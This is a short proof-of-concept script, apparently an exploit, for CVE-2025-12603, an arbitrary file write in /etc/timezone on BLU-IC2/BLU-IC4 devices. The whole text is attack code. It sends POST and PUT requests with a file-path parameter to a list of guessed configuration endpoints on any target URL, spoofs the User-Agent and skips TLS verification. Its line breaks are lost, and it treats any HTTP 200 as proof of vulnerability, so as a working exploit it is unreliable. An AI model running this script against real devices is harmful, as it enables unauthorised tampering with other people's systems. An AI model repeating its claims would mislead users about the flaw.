CVE-2025-12603 BLU-IC2/BLU-IC4 任意文件写入漏洞

import requests import sys # CVE-2025-12603 PoC - Arbitrary File Write in /etc/timezone # Target: BLU-IC2/BLU-IC4 through version 1.19.5 def exploit_cve_2025_12603(target_url, payload="/etc/timezone"): """ Exploit for arbitrary file write vulnerability in /etc/timezone Args: target_url: Base URL of the target BLU-IC device payload: File path to write (default: /etc/timezone) Returns: bool: True if exploitation appears successful, False otherwise """ try: # Common endpoints for BLU-IC timezone configuration endpoints = [ "/api/system/timezone", "/settings/timezone", "/admin/timezone", "/cgi-bin/system_config.cgi", "/api/v1/timezone" ] # Malicious timezone content timezone_content = "America/New_York" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try POST request with timezone parameter data = { "timezone": timezone_content, "file": payload } try: response = requests.post(url, data=data, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Potentially vulnerable endpoint found: {url}") print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed for {url}: {str(e)}") continue # Try PUT request method for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.put(url, data=timezone_content, headers=headers, timeout=10, verify=False) if response.status_code in [200, 201, 204]: print(f"[+] PUT method might work on: {url}") return True except: continue print("[-] No vulnerable endpoints found or target is not affected") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12603.py <target_url>") print("Example: python cve-2025-12603.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] print(f"[*] Starting CVE-2025-12603 exploitation...") print(f"[*] Target: {target}") exploit_cve_2025_12603(target)